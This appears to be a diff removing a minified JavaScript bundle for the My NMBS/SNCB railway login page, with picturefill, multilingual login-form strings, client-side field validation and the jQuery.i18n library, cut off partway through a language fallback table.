}; - f.fillImg = function (e, t) { - var i; - var n = t.reselect || t.reevaluate; - if (!e[f.ns]) { - e[f.ns] = {} - } - i = e[f.ns]; - if (!n && i.evaled === d) { - return - } - if (!i.parsed || t.reevaluate) { - f.parseSets(e, e.parentNode, t) - } - if (!i.supported) { - Z(e) - } else { - i.evaled = d - } - }; - f.setupRun = function () { - if (!I || C || O !== r.devicePixelRatio) { - K() - } - }; - if (f.supPicture) { - X = h; - f.fillImg = h - } else { - (function () { - var e; - var t = r.attachEvent ? /d$|^c/ : /d$|^c|^i/; - var i = function () { - var r = a.readyState || ""; - n = setTimeout(i, r === "loading" ? 200 : 999); - if (a.body) { - f.fillImgs(); - e = e || t.test(r); - if (e) { - clearTimeout(n) - } - } - }; - var n = setTimeout(i, a.body ? 9 : 99); - var s = function (e, t) { - var i, n; - var r = function () { - var a = new Date - n; - if (a < t) { - i = setTimeout(r, t - a) - } else { - i = null; - e() - } - }; - return function () { - n = new Date; - if (!i) { - i = setTimeout(r, t) - } - } - }; - var o = g.clientHeight; - var l = function () { - C = Math.max(r.innerWidth || 0, g.clientWidth) !== j.width || g.clientHeight !== o; - o = g.clientHeight; - if (C) { - f.fillImgs() - } - }; - q(r, "resize", s(l, 99)); - q(a, "readystatechange", i) - })() - } - f.picturefill = X; - f.fillImgs = X; - f.teardownRun = h; - X._ = f; - r.picturefillCFG = { - pf: f, - push: function (e) { - var t = e.shift(); - if (typeof f[t] === "function") { - f[t].apply(f, e) - } else { - b[t] = e[0]; - if (I) { - f.fillImgs({ - reselect: true - }) - } - } - } - }; - while (Y && Y.length) { - r.picturefillCFG.push(Y.shift()) - } - r.picturefill = X; - if (typeof e === "object" && typeof e.exports === "object") { - e.exports = X - } else if (true) { - !(n = function () { - return X - }.call(t, i, t, e), n !== s && (e.exports = n)) - } - if (!f.supPicture) { - y["image/webp"] = J("image/webp", "data:image/webp;base64,UklGRkoAAABXRUJQVlA4WAoAAAAQAAAAAAAAAAAAQUxQSAwAAAABBxAR/Q9ERP8DAABWUDggGAAAADABAJ0BKgEAAQADADQlpAADcAD++/1QAA==") - } - })(window, document) -}, function (e, t, i) { - "use strict"; - (function () { - var e = document.querySelectorAll("[data-locale]"); - var t = document.querySelector("html").getAttribute("lang"); - var i = $("#input1"); - var n = $("#input2"); - var r = $("#loginForm"); - var a = document.querySelector("html").getAttribute("lang"); - var s = document.querySelector("input[name=formLang]"); - var o = document.querySelectorAll('[data-lang-link="' + t + '"]'); - var l = false; - s.setAttribute("value", a); - i.on("blur", function () { - return _(i) - }); - n.on("blur", function () { - return g(n) - }); - r.on("submit", function () { - return y(i, n) - }); - m(); - for (var u = 0, d = o.length; u < d; ++u) { - o[u].classList.remove("display-none") - } - for (var f = 0, c = e.length; f < c; ++f) { - e[f].lang = e[f].getAttribute("data-locale"); - e[f].addEventListener("click", h) - } - - function h() { - var e = document.querySelector("html"); - var t = e.getAttribute("lang"); - var i = document.querySelectorAll('[data-lang-link="' + t + '"]'); - for (var n = 0, r = i.length; n < r; ++n) { - i[n].classList.add("display-none") - } - var a = document.querySelectorAll('[data-lang-link="' + this.lang + '"]'); - for (var s = 0, o = a.length; s < o; ++s) { - a[s].classList.remove("display-none") - } - e.setAttribute("lang", this.lang) - } - function updateMetaContent(newMetaContent) { - $("meta").each(function () { - if ($(this).attr("name") == "description") { - $(this).attr("content", newMetaContent); - }; - }); - } - jQuery(document).ready(function () { - let l = document.querySelector("html").getAttribute("lang") - let bl = navigator.language.split('-')[0] - let lang = l && l != "$lang" ? l : bl - document.querySelector("html").setAttribute("lang", lang) - - function langCheck(){ - let lang = document.querySelector("html").getAttribute("lang") - let langSwitches =document.querySelectorAll('.lang-switch') - for(let i=0; iKoop en vernieuw een abonnement in enkele kliks', - rep3: 'Download je reizigersattest (geldig voor uw belastingaangifte)', - rep4: 'Controleer het saldo van je elektronische portefeuille', - rep5: 'Reserveer online assistentie bij beperkte mobiliteit', - rep23: - 'Gratis toegang tot wifi in het station', - rep6: "My NMBS", - rep7: "Maak met je My NMBS-account gebruik van al onze gepersonaliseerde online diensten. Om een abonnement te verlengen, heb je een My NMBS-account nodig.", - rep8: "Login", - rep9: "E-mailadres:", - rep10: "Wachtwoord:", - rep11: - 'Inloggen', - rep12: "Wachtwoord vergeten?", - rep13: "Geen bevestigingsmail ontvangen?", - rep14: "Onthoud mij", - rep15: "Nog geen account?", - rep16: - "Maak een online account aan in slechts enkele klikken om je bestelling verder te zetten en te genieten van de voordelen van My NMBS.", - rep17: "Maak een account aan", - rep18: "My NMBS: Log je in op je klantenprofiel | NMBS", - rep19: - 'nl', - rep20: "Gelieve een geldig e-mail adres in te geven", - rep21: "Gelieve je paswoord in te geven", - rep22: " ", - rep24: - "Log je hier in op je Mijn NMBS-account: verleng je abonnement, download je passagierscertificaten of profiteer van gratis wifi in het station. Geen account ? Maak er een aan in een handomdraai!", - rep25: "Wachtwoord weergeven", - rep26: "Wachtwoord verbergen", - }, - fr: { - rep1: "Les avantages de votre compte My SNCB :", - rep2: 'Achetez et renouvelez un abonnement en quelques clics', - rep3: 'Téléchargez votre attestation voyageur (valable pour votre déclaration fiscale)', - rep4: 'Consultez le solde de votre porte-feuille électronique', - rep5: 'Réservez une assistance mobilité réduite en ligne', - rep23: - 'Accédez gratuitement au wifi en gare', - rep6: "My SNCB", - rep7: "Avec votre compte My SNCB, profitez de tous nos services pratiques personnalisés en ligne. Pour renouveler un abonnement, vous avez besoin d’un compte My SNCB.", - rep8: "Login", - rep9: "Adresse e-mail:", - rep10: "Mot de passe:", - rep11: - 'Se connecter', - rep12: "Mot de passe oublié?", - rep13: "Pas reçu l’e-mail d’activation?", - rep14: "Se souvenir de moi", - rep15: "Pas encore de compte?", - rep16: - "Créez votre compte en ligne en quelques clics pour poursuivre votre commande et profiter des nombreux avantages de My SNCB.", - rep17: "Créez votre compte", - rep18: "My SNCB : Se connecter à votre espace client | SNCB", - rep19: - 'fr', - rep20: "Veuillez saisir une adresse e-mail valide", - rep21: "Veuillez saisir votre mot de passe", - rep22: " ", - rep24: - "Accédez ici à votre compte My SNCB : renouvelez votre abonnement, téléchargez vos attestations voyageur ou profitez du wifi gratuit en gare. Pas encore de compte ? Créez le vôtre en quelques clics!", - rep25: "Afficher le mot de passe", - rep26: "Masquer le mot de passe", - }, - de: { - rep1: "Die Vorteile Ihres My SNCB-Kontos:", - rep2: 'Kaufen und erneuern Sie ein Abonnement mit wenigen Klicks', - rep3: 'Laden Sie Ihre Steuerbescheinigung herunter (gültig für Ihre Steuererklärung)', - rep4: 'Überprüfen Sie Ihr elektronisches Portemonnaie Guthaben', - rep5: 'Hilfe für eingeschränkte Mobilität online buchen', - rep23: - 'Freier Zugang zu WiFi in der Station', - rep6: "My SNCB/NMBS", - rep7: "Nutzen Sie unsere praktischen online Services mit Ihrem My SNCB/NMBS Konto.", - rep8: "Einloggen", - rep9: "E-Mail-Adresse:", - rep10: "Passwort:", - rep11: - 'Einloggen', - rep12: "Passwort vergessen?", - rep13: "Aktivierungsmail nicht erhalten?", - rep14: "Angemeldet bleiben", - rep15: "Neu bei My SNCB/NMBS?", - rep16: - "Melden Sie sich an, um Ihre Buchung fortzusetzen oder die My SNCB/NMBS Vorteile zu nutzen.", - rep17: "Ihr Konto erstellen", - rep18: "My SNCB: Ihr Kundenbereich | SNCB", - rep19: - 'de', - rep20: "Bitte geben Sie eine gültige E-Mail-Adresse ein", - rep21: "Bitte geben Sie Ihr Passwort ein", - rep22: " ", - rep24: - "Greifen Sie hier auf Ihr My SNCB-Konto zu: Erneuern Sie Ihr Abonnement, nutzen Sie das kostenlose WIFI am Bahnhof oder laden Sie Ihre Reisezertifikate herunter. Noch kein Konto? Erstellen Sie Ihre mit wenigen Klicks!", - rep25: "Passwort anzeigen", - rep26: "Passwort ausblenden", - }, - en: { - rep1: "The benefits of your My SNCB account :", - rep2: 'Buy and renew your season ticket in a few clicks', - rep3: 'Download your traveller certificate (valid for your tax return)', - rep4: 'View the balance of your eWallet', - rep5: 'Book your reduced mobility assistance online', - rep23: - 'Free access to wifi in the station', - rep6: "My SNCB/NMBS", - rep7: "With your own My SNCB/NMBS account, take advantage of all our online personalised, practical services.", - rep8: "Login", - rep9: "Email address:", - rep10: "Password:", - rep11: - 'Login', - rep12: "Reset your password", - rep13: "Resend activation email", - rep14: "Remember me", - rep15: "Don’t have an account yet?", - rep16: - "Create your online account, which just takes a few clicks to complete the process, and take advantage of the numerous advantages of My SNCB/NMBS.", - rep17: "Create your account", - rep18: "My SNCB: Log in to your customer account | SNCB", - rep19: - 'en', - rep20: "Please enter a valid email", - rep21: "Please enter your password", - rep22: " ", - rep24: - "Access your My SNCB account here: renew your Season Ticket, enjoy free wifi at the station or download your travel certificates. Don't have an account yet? get one in just a few clicks!", - rep25: "Show password", - rep26: "Hide password", - }, - }); - e() - }); - - function m() { - var e = document.querySelector(".input__pwd-eye-crossing"); - if (e) { - e.addEventListener("click", p) - - setTimeout(() => { - e.setAttribute('title', $.i18n( 'rep25' )) - e.setAttribute('data-title-hidePwd', $.i18n( 'rep26' )) - e.setAttribute('data-title-showPwd', $.i18n( 'rep25' )) - e.setAttribute('title', $.i18n( 'rep25' )) - }, 100); - } - } - - function p() { - var e = document.querySelector(".input__pwd-eye-crossing"); - if (l) { - e.classList.remove("is-active"); - document.getElementById("input2").setAttribute("type", "password") - } else { - e.classList.add("is-active"); - document.getElementById("input2").setAttribute("type", "text") - } - pp() - l = !l - } - - function pp(){ - let e = document.querySelector(".input__pwd-eye-crossing"); - if(l) - e.setAttribute('title', $.i18n( 'rep25' )) - else - e.setAttribute('title', $.i18n( 'rep26' )) - } - - function v(e) { - var t = /^([a-z\d!#$%&'*+\-\/=?^_`{|}~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+(\.[a-z\d!#$%&'*+\-\/=?^_`{|}~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+)*|"((([ \t]*\r\n)?[ \t]+)?([\x01-\x08\x0b\x0c\x0e-\x1f\x7f\x21\x23-\x5b\x5d-\x7e\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|\\[\x01-\x09\x0b\x0c\x0d-\x7f\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))*(([ \t]*\r\n)?[ \t]+)?")@(([a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|[a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF][a-z\d\-._~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]*[a-z\d\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])\.)+([a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]|[a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF][a-z\d\-._~\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]*[a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])\.?$/i; - return t.test(e) - } - - function _(e) { - if (!v(e.val())) { - e.parent().addClass("error"); - return false - } else { - e.parent().removeClass("error"); - return true - } - } - - function g(e) { - if (e.val().length < 1) { - e.parent().addClass("error"); - return false - } else { - e.parent().removeClass("error"); - return true - } - } - - function y(e, t) { - var i = g(t); - var n = _(e); - if (n && i) { - return true - } else { - n ? t.focus() : e.focus(); - return false - } - } - })() -}, function (e, t, i) { - "use strict"; - var n = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (e) { - return typeof e - } : function (e) { - return e && typeof Symbol === "function" && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e - }; - (function (e) { - "use strict"; - var t, i, r = Array.prototype.slice; - i = function t(n) { - this.options = e.extend({}, i.defaults, n); - this.parser = this.options.parser; - this.locale = this.options.locale; - this.messageStore = this.options.messageStore; - this.languages = {}; - this.init() - }; - i.prototype = { - init: function t() { - var i = this; - String.locale = i.locale; - String.prototype.toLocaleString = function () { - var t, n, r, a, s, o, l; - r = this.valueOf(); - a = i.locale; - s = 0; - while (a) { - t = a.split("-"); - n = t.length; - do { - o = t.slice(0, n).join("-"); - l = i.messageStore.get(o, r); - if (l) { - return l - } - n-- - } while (n); - if (a === "en") { - break - } - a = e.i18n.fallbacks[i.locale] && e.i18n.fallbacks[i.locale][s] || i.options.fallbackLocale; - e.i18n.log("Trying fallback locale for " + i.locale + ": " + a); - s++ - } - return "" - } - }, - destroy: function t() { - e.removeData(document, "i18n") - }, - load: function t(i, n) { - var r, a, s, o = {}; - if (!i && !n) { - i = "i18n/" + e.i18n().locale + ".json"; - n = e.i18n().locale - } - if (typeof i === "string" && i.split(".").pop() !== "json") { - o[n] = i + "/" + n + ".json"; - r = (e.i18n.fallbacks[n] || []).concat(this.options.fallbackLocale); - for (a in r) { - s = r[a]; - o[s] = i + "/" + s + ".json" - } - return this.load(o) - } else { - return this.messageStore.load(i, n) - } - }, - parse: function t(i, n) { - var r = i.toLocaleString(); - this.parser.language = e.i18n.languages[e.i18n().locale] || e.i18n.languages["default"]; - if (r === "") { - r = i - } - return this.parser.parse(r, n) - } - }; - e.i18n = function (t, a) { - var s, o = e.data(document, "i18n"), - l = (typeof t === "undefined" ? "undefined" : n(t)) === "object" && t; - if (l && l.locale && o && o.locale !== l.locale) { - String.locale = o.locale = l.locale - } - if (!o) { - o = new i(l); - e.data(document, "i18n", o) - } - if (typeof t === "string") { - if (a !== undefined) { - s = r.call(arguments, 1) - } else { - s = [] - } - return o.parse(t, s) - } else { - return o - } - }; - e.fn.i18n = function () { - var t = e.data(document, "i18n"); - if (!t) { - t = new i; - e.data(document, "i18n", t) - } - String.locale = t.locale; - return this.each(function () { - var i = e(this), - n = i.data("i18n"), - r, a, s, o; - if (n) { - r = n.indexOf("["); - a = n.indexOf("]"); - if (r !== -1 && a !== -1 && r < a) { - s = n.slice(r + 1, a); - o = n.slice(a + 1); - if (s === "html") { - i.html(t.parse(o)) - } else { - i.attr(s, t.parse(o)) - } - } else { - i.text(t.parse(n)) - } - } else { - i.find("[data-i18n]").i18n() - } - }) - }; - String.locale = String.locale || e("html").attr("lang"); - if (!String.locale) { - if (n(window.navigator) !== undefined) { - t = window.navigator; - String.locale = t.language || t.userLanguage || "" - } else { - String.locale = "" - } - } - e.i18n.languages = {}; - e.i18n.messageStore = e.i18n.messageStore || {}; - e.i18n.parser = { - parse: function e(t, i) { - return t.replace(/\$(\d+)/g, function (e, t) { - var n = parseInt(t, 10) - 1; - return i[n] !== undefined ? i[n] : "$" + t - }) - }, - emitter: {} - }; - e.i18n.fallbacks = {}; - e.i18n.debug = false; - e.i18n.log = function () { - if (window.console && e.i18n.debug) { - window.console.log.apply(window.console, arguments) - } - }; - i.defaults = { - locale: String.locale, - fallbackLocale: "en", - parser: e.i18n.parser, - messageStore: e.i18n.messageStore - }; - e.i18n.constructor = i - })(jQuery) -}, function (e, t, i) { - "use strict"; - var n = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (e) { - return typeof e - } : function (e) { - return e && typeof Symbol === "function" && e.constructor === Symbol && e !== Symbol.prototype ? "symbol" : typeof e - }; - (function (e) { - "use strict"; - var t = function t() { - this.language = e.i18n.languages[String.locale] || e.i18n.languages["default"] - }; - t.prototype = { - constructor: t, - emit: function t(i, r) { - var a, s, o, l = this; - switch (typeof i === "undefined" ? "undefined" : n(i)) { - case "string": - case "number": - a = i; - break; - case "object": - s = e.map(i.slice(1), function (e) { - return l.emit(e, r) - }); - o = i[0].toLowerCase(); - if (typeof l[o] === "function") { - a = l[o](s, r) - } else { - throw new Error('unknown operation "' + o + '"') - } - break; - case "undefined": - a = ""; - break; - default: - throw new Error("unexpected type in AST: " + (typeof i === "undefined" ? "undefined" : n(i))) - } - return a - }, - concat: function t(i) { - var n = ""; - e.each(i, function (e, t) { - n += t - }); - return n - }, - replace: function e(t, i) { - var n = parseInt(t[0], 10); - if (n < i.length) { - return i[n] - } else { - return "$" + (n + 1) - } - }, - plural: function e(t) { - var i = parseFloat(this.language.convertNumber(t[0], 10)), - n = t.slice(1); - return n.length ? this.language.convertPlural(i, n) : "" - }, - gender: function e(t) { - var e = t[0], - i = t.slice(1); - return this.language.gender(e, i) - }, - grammar: function e(t) { - var i = t[0], - n = t[1]; - return n && i && this.language.convertGrammar(n, i) - } - }; - e.extend(e.i18n.parser.emitter, new t) - })(jQuery) -}, function (e, t, i) { - "use strict"; - (function (e) { - "use strict"; - var t; - t = new RegExp("(?:" + "(" + "[A-Za-zªµºÀ-ÖØ-öø-ʸʻ-ˁːˑˠ-ˤˮͰ-ͳͶͷͺ-ͽͿΆΈ-ΊΌΎ-ΡΣ-ϵϷ-҂Ҋ-ԯԱ-Ֆՙ-՟ա-և։ः-हऻऽ-ीॉ-ौॎ-ॐक़-ॡ।-ঀংঃঅ-ঌএঐও-নপ-রলশ-হঽ-ীেৈোৌৎৗড়ঢ়য়-ৡ০-ৱ৴-৺ਃਅ-ਊਏਐਓ-ਨਪ-ਰਲਲ਼ਵਸ਼ਸਹਾ-ੀਖ਼-ੜਫ਼੦-੯ੲ-ੴઃઅ-ઍએ-ઑઓ-નપ-રલળવ-હઽ-ીૉોૌૐૠૡ૦-૰ૹଂଃଅ-ଌଏଐଓ-ନପ-ରଲଳଵ-ହଽାୀେୈୋୌୗଡ଼ଢ଼ୟ-ୡ୦-୷ஃஅ-ஊஎ-ஐஒ-கஙசஜஞடணதந-பம-ஹாிுூெ-ைொ-ௌௐௗ௦-௲ఁ-ఃఅ-ఌఎ-ఐఒ-నప-హఽు-ౄౘ-ౚౠౡ౦-౯౿ಂಃಅ-ಌಎ-ಐಒ-ನಪ-ಳವ-ಹಽ-ೄೆ-ೈೊೋೕೖೞೠೡ೦-೯ೱೲംഃഅ-ഌഎ-ഐഒ-ഺഽ-ീെ-ൈൊ-ൌൎൗൟ-ൡ൦-൵൹-ൿංඃඅ-ඖක-නඳ-රලව-ෆා-ෑෘ-ෟ෦-෯ෲ-෴ก-ะาำเ-ๆ๏-๛ກຂຄງຈຊຍດ-ທນ-ຟມ-ຣລວສຫອ-ະາຳຽເ-ໄໆ໐-໙ໜ-ໟༀ-༗༚-༴༶༸༾-ཇཉ-ཬཿ྅ྈ-ྌ྾-࿅࿇-࿌࿎-࿚က-ာေးျြဿ-ၗၚ-ၝၡ-ၰၵ-ႁႃႄႇ-ႌႎ-ႜ႞-ჅჇჍა-ቈቊ-ቍቐ-ቖቘቚ-ቝበ-ኈኊ-ኍነ-ኰኲ-ኵኸ-ኾዀዂ-ዅወ-ዖዘ-ጐጒ-ጕጘ-ፚ፠-፼ᎀ-ᎏᎠ-Ᏽᏸ-ᏽᐁ-ᙿᚁ-ᚚᚠ-ᛸᜀ-ᜌᜎ-ᜑᜠ-ᜱ᜵᜶ᝀ-ᝑᝠ-ᝬᝮ-ᝰក-ឳាើ-ៅះៈ។-៚ៜ០-៩᠐-᠙ᠠ-ᡷᢀ-ᢨᢪᢰ-ᣵᤀ-ᤞᤣ-ᤦᤩ-ᤫᤰᤱᤳ-ᤸ᥆-ᥭᥰ-ᥴᦀ-ᦫᦰ-ᧉ᧐-᧚ᨀ-ᨖᨙᨚ᨞-ᩕᩗᩡᩣᩤᩭ-ᩲ᪀-᪉᪐-᪙᪠-᪭ᬄ-ᬳᬵᬻᬽ-ᭁᭃ-ᭋ᭐-᭪᭴-᭼ᮂ-ᮡᮦᮧ᮪ᮮ-ᯥᯧᯪ-ᯬᯮ᯲᯳᯼-ᰫᰴᰵ᰻-᱉ᱍ-᱿᳀-᳇᳓᳡ᳩ-ᳬᳮ-ᳳᳵᳶᴀ-ᶿḀ-ἕἘ-Ἕἠ-ὅὈ-Ὅὐ-ὗὙὛὝὟ-ώᾀ-ᾴᾶ-ᾼιῂ-ῄῆ-ῌῐ-ΐῖ-Ίῠ-Ῥῲ-ῴῶ-ῼ‎ⁱⁿₐ-ₜℂℇℊ-ℓℕℙ-ℝℤΩℨK-ℭℯ-ℹℼ-ℿⅅ-ⅉⅎ⅏Ⅰ-ↈ⌶-⍺⎕⒜-ⓩ⚬⠀-⣿Ⰰ-Ⱞⰰ-ⱞⱠ-ⳤⳫ-ⳮⳲⳳⴀ-ⴥⴧⴭⴰ-ⵧⵯ⵰ⶀ-ⶖⶠ-ⶦⶨ-ⶮⶰ-ⶶⶸ-ⶾⷀ-ⷆⷈ-ⷎⷐ-ⷖⷘ-ⷞ々-〇〡-〩〮〯〱-〵〸-〼ぁ-ゖゝ-ゟァ-ヺー-ヿㄅ-ㄭㄱ-ㆎ㆐-ㆺㇰ-㈜㈠-㉏㉠-㉻㉿-㊰㋀-㋋㋐-㋾㌀-㍶㍻-㏝㏠-㏾㐀-䶵一-鿕ꀀ-ꒌꓐ-ꘌꘐ-ꘫꙀ-ꙮꚀ-ꚝꚠ-ꛯ꛲-꛷Ꜣ-ꞇ꞉-ꞭꞰ-ꞷꟷ-ꠁꠃ-ꠅꠇ-ꠊꠌ-ꠤꠧ꠰-꠷ꡀ-ꡳꢀ-ꣃ꣎-꣙ꣲ-ꣽ꤀-ꤥ꤮-ꥆꥒ꥓꥟-ꥼꦃ-ꦲꦴꦵꦺꦻꦽ-꧍ꧏ-꧙꧞-ꧤꧦ-ꧾꨀ-ꨨꨯꨰꨳꨴꩀ-ꩂꩄ-ꩋꩍ꩐-꩙꩜-ꩻꩽ-ꪯꪱꪵꪶꪹ-ꪽꫀꫂꫛ-ꫫꫮ-ꫵꬁ-ꬆꬉ-ꬎꬑ-ꬖꬠ-ꬦꬨ-ꬮꬰ-ꭥꭰ-ꯤꯦꯧꯩ-꯬꯰-꯹가-힣ힰ-ퟆퟋ-ퟻ-舘並-龎ff-stﬓ-ﬗA-Za-zヲ-하-ᅦᅧ-ᅬᅭ-ᅲᅳ-ᅵ]|\ud800[\udc00-\udc0b]|\ud800[\udc0d-\udc26]|\ud800[\udc28-\udc3a]|𐀼|𐀽|\ud800[\udc3f-\udc4d]|\ud800[\udc50-\udc5d]|\ud800[\udc80-\udcfa]|𐄀|𐄂|\ud800[\udd07-\udd33]|\ud800[\udd37-\udd3f]|\ud800[\uddd0-\uddfc]|\ud800[\ude80-\ude9c]|\ud800[\udea0-\uded0]|\ud800[\udf00-\udf23]|\ud800[\udf30-\udf4a]|\ud800[\udf50-\udf75]|\ud800[\udf80-\udf9d]|\ud800[\udf9f-\udfc3]|\ud800[\udfc8-\udfd5]|\ud801[\udc00-\udc9d]|\ud801[\udca0-\udca9]|\ud801[\udd00-\udd27]|\ud801[\udd30-\udd63]|𐕯|\ud801[\ude00-\udf36]|\ud801[\udf40-\udf55]|\ud801[\udf60-\udf67]|𑀀|\ud804[\udc02-\udc37]|\ud804[\udc47-\udc4d]|\ud804[\udc66-\udc6f]|\ud804[\udc82-\udcb2]|𑂷|𑂸|\ud804[\udcbb-\udcc1]|\ud804[\udcd0-\udce8]|\ud804[\udcf0-\udcf9]|\ud804[\udd03-\udd26]|𑄬|\ud804[\udd36-\udd43]|\ud804[\udd50-\udd72]|\ud804[\udd74-\udd76]|\ud804[\udd82-\uddb5]|\ud804[\uddbf-\uddc9]|𑇍|\ud804[\uddd0-\udddf]|\ud804[\udde1-\uddf4]|\ud804[\ude00-\ude11]|\ud804[\ude13-\ude2e]|𑈲|𑈳|𑈵|\ud804[\ude38-\ude3d]|\ud804[\ude80-\ude86]|𑊈|\ud804[\ude8a-\ude8d]|\ud804[\ude8f-\ude9d]|\ud804[\ude9f-\udea9]|\ud804[\udeb0-\udede]|\ud804[\udee0-\udee2]|\ud804[\udef0-\udef9]|𑌂|𑌃|\ud804[\udf05-\udf0c]|𑌏|𑌐|\ud804[\udf13-\udf28]|\ud804[\udf2a-\udf30]|𑌲|𑌳|\ud804[\udf35-\udf39]|\ud804[\udf3d-\udf3f]|\ud804[\udf41-\udf44]|𑍇|𑍈|\ud804[\udf4b-\udf4d]|𑍐|𑍗|\ud804[\udf5d-\udf63]|\ud805[\udc80-\udcb2]|𑒹|\ud805[\udcbb-\udcbe]|𑓁|\ud805[\udcc4-\udcc7]|\ud805[\udcd0-\udcd9]|\ud805[\udd80-\uddb1]|\ud805[\uddb8-\uddbb]|𑖾|\ud805[\uddc1-\udddb]|\ud805[\ude00-\ude32]|𑘻|𑘼|𑘾|\ud805[\ude41-\ude44]|\ud805[\ude50-\ude59]|\ud805[\ude80-\udeaa]|𑚬|𑚮|𑚯|𑚶|\ud805[\udec0-\udec9]|\ud805[\udf00-\udf19]|𑜠|𑜡|𑜦|\ud805[\udf30-\udf3f]|\ud806[\udca0-\udcf2]|𑣿|\ud806[\udec0-\udef8]|\ud808[\udc00-\udf99]|\ud809[\udc00-\udc6e]|\ud809[\udc70-\udc74]|\ud809[\udc80-\udd43]|\ud80c[\udc00-\udfff]|\ud80d[\udc00-\udc2e]|\ud811[\udc00-\ude46]|\ud81a[\udc00-\ude38]|\ud81a[\ude40-\ude5e]|\ud81a[\ude60-\ude69]|𖩮|𖩯|\ud81a[\uded0-\udeed]|𖫵|\ud81a[\udf00-\udf2f]|\ud81a[\udf37-\udf45]|\ud81a[\udf50-\udf59]|\ud81a[\udf5b-\udf61]|\ud81a[\udf63-\udf77]|\ud81a[\udf7d-\udf8f]|\ud81b[\udf00-\udf44]|\ud81b[\udf50-\udf7e]|\ud81b[\udf93-\udf9f]|𛀀|𛀁|\ud82f[\udc00-\udc6a]|\ud82f[\udc70-\udc7c]|\ud82f[\udc80-\udc88]|\ud82f[\udc90-\udc99]|𛲜|𛲟|\ud834[\udc00-\udcf5]|\ud834[\udd00-\udd26]|\ud834[\udd29-\udd66]|\ud834[\udd6a-\udd72]|𝆃|𝆄|\ud834[\udd8c-\udda9]|\ud834[\uddae-\udde8]|\ud834[\udf60-\udf71]|\ud835[\udc00-\udc54]|\ud835[\udc56-\udc9c]|𝒞|𝒟|𝒢|𝒥|𝒦|\ud835[\udca9-\udcac]|\ud835[\udcae-\udcb9]|𝒻|\ud835[\udcbd-\udcc3]|\ud835[\udcc5-\udd05]|\ud835[\udd07-\udd0a]|\ud835[\udd0d-\udd14]|\ud835[\udd16-\udd1c]|\ud835[\udd1e-\udd39]|\ud835[\udd3b-\udd3e]|\ud835[\udd40-\udd44]|𝕆|\ud835[\udd4a-\udd50]|\ud835[\udd52-\udea5]|\ud835[\udea8-\udeda]|\ud835[\udedc-\udf14]|\ud835[\udf16-\udf4e]|\ud835[\udf50-\udf88]|\ud835[\udf8a-\udfc2]|\ud835[\udfc4-\udfcb]|\ud836[\udc00-\uddff]|\ud836[\ude37-\ude3a]|\ud836[\ude6d-\ude74]|\ud836[\ude76-\ude83]|\ud836[\ude85-\ude8b]|\ud83c[\udd10-\udd2e]|\ud83c[\udd30-\udd69]|\ud83c[\udd70-\udd9a]|\ud83c[\udde6-\ude02]|\ud83c[\ude10-\ude3a]|\ud83c[\ude40-\ude48]|🉐|🉑|[\ud840-\ud868][\udc00-\udfff]|\ud869[\udc00-\uded6]|\ud869[\udf00-\udfff]|[\ud86a-\ud86c][\udc00-\udfff]|\ud86d[\udc00-\udf34]|\ud86d[\udf40-\udfff]|\ud86e[\udc00-\udc1d]|\ud86e[\udc20-\udfff]|[\ud86f-\ud872][\udc00-\udfff]|\ud873[\udc00-\udea1]|\ud87e[\udc00-\ude1d]|[\udb80-\udbbe][\udc00-\udfff]|\udbbf[\udc00-\udffd]|[\udbc0-\udbfe][\udc00-\udfff]|\udbff[\udc00-\udffd]" + ")|(" + "[֐־׀׃׆׈-׿߀-ߪߴߵߺ-ࠕࠚࠤࠨ࠮-ࡘ࡜-࢟‏יִײַ-ﬨשׁ-ﭏ؈؋؍؛-ي٭-ٯٱ-ەۥۦۮۯۺ-ܐܒ-ܯ݋-ޥޱ-޿ࢠ-࣢ﭐ-ﴽ﵀-﷏ﷰ-﷼﷾﷿ﹰ-﻾]|\ud802[\udc00-\udd1e]|\ud802[\udd20-\ude00]|𐨄|\ud802[\ude07-\ude0b]|\ud802[\ude10-\ude37]|\ud802[\ude3b-\ude3e]|\ud802[\ude40-\udee4]|\ud802[\udee7-\udf38]|\ud802[\udf40-\udfff]|\ud803[\udc00-\ude5f]|\ud803[\ude7f-\udfff]|\ud83a[\udc00-\udccf]|\ud83a[\udcd7-\udfff]|\ud83b[\udc00-\uddff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\udf00-\udfff]|\ud83b[\ude00-\udeef]|\ud83b[\udef2-\udeff]" + ")" + ")"); - - function i(e) { - var i = e.match(t); - if (!i) { - return null - } - if (i[2] === undefined) { - return "ltr" - } - return "rtl" - } - e.extend(e.i18n.parser.emitter, { - bidi: function e(t) { - var n = i(t[0]); - if (n === "ltr") { - return "‪" + t[0] + "‬" - } - if (n === "rtl") { - return "‫" + t[0] + "‬" - } - return t[0] - } - }) - })(jQuery) -}, function (e, t, i) { - "use strict"; - (function (e, t) { - "use strict"; - e.i18n = e.i18n || {}; - e.extend(e.i18n.fallbacks, { - ab: ["ru"], - ace: ["id"], - aln: ["sq"], - als: ["gsw", "de"], - an: ["es"], - anp: ["hi"], - arn: ["es"], - arz: ["ar"], - av: ["ru"], - ay: ["es"], - ba: ["ru"], - bar: ["de"], - "bat-smg": ["sgs", "lt"], - bcc: ["fa"], - "be-x-old": ["be-tarask"], - bh: ["bho"], - bjn: 